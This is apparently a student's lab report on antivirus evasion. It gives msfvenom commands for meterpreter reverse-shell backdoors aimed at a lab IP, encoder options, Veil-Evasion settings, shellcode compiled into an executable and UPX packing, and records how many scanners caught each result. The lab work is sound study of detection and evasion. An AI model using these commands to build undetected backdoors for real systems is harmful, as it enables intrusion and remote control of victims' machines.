20155330 《网络攻防》 Exp3 免杀原理与实践

20155330 《网络攻防》 Exp3 免杀原理与实践

基础问题回答

  1. 杀软是如何检测出恶意代码的?

    1. 基于特征码。先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。
    2. 基于行为。杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等行为进行判断。
  2. 免杀是做什么?

    恶意代码避免杀毒软件查杀,从而实现入侵。

  3. 免杀的基本方法有哪些?

    • 对恶意代码进行加壳
    • 利用shellcode进行编码

实践过程记录

使用msf生成后门程序的检测

  • 将实验二中生成的后门程序上传到virscan中进行扫描,扫描信息及结果如下:


  • 根据扫描结果,有48%的杀软检测出了病毒。

使用msf编码器生成meterpreter可执行文件

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.204.128 LPORT=5330 -f exe > 5330exp3.exe生成一次编码过的可执行文件
  • 再次对生成的程序进行扫描,扫描信息及结果如下:


  • 相较于直接生成后门程序,进行过编码后的程序依然有48%的杀软检测出病毒。
  • 将文件进行十次编码
  • 扫描文件,还是被那么多的杀软查杀到,那么多次编码好像也没有太大的作用。


Veil-Evasion免杀平台

  • 在终端中使用veil-evasion命令打开该软件。
  • 输入
use python/meterpreter/rev_tcp  //设置payload
set LHOST 192.168.204.138    //设置反弹连接win-IP
set port 443    //设置反弹端口443,默认为4444
generate    //生成
5330    //程序名
1



  • 从路径/var/lib/veil-evasion/output/compiled找到相应程序,放到网站上扫描,结果如下:


C语言调用Shellcode

  • 在kali主机下打开终端,执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=Kali-IP LPORT=443 -f c,生成一个C语言数组。

  • 创建一个C文件(可用touch命令生成):MSSC_5330.c(免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数。

  • 使用i686-w64-mingw32-g++ MSSC_5330.c -o MSSC_5330.exe命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件MSSC_5330.exe。
  • 放到网站上扫描一下,发现可以检测到病毒的杀软更少了。

  • 通过nc命令将可执行文件传到win7主机上,很快就被查杀了QAQ。

加壳

  • 通过命令upx #需要加壳的文件名 -o #加壳后的文件名,生成程序。
  • 放到网站上扫描一下,emmmmm...没什么变化……

  • 再传到win7主机上,扫描一下。
  • 好像可以了?看看扫描日志。
  • 过了一会,又被查杀了TUT。

离实战还缺些什么技术或步骤?

应该是对编写免杀代码还不太了解,以目前的能力还只能依靠软件来生成代码,如果是纯手工的代码可能免杀的几率会更大一些。

实践总结与体会

通过不同的方式对恶意代码生成病毒程序有了一定的了解,可以简单制作出一些免杀后门。从而也了解到了目前我们所信赖的杀软其实还是存在着一些漏洞,假设将shellcode进行重新组合再加壳的话,免杀率应该还会再上升,从而通过杀软的扫描,入侵靶机。
posted @ 2018-04-10 22:00  20155330  阅读(150)  评论(0编辑  收藏  举报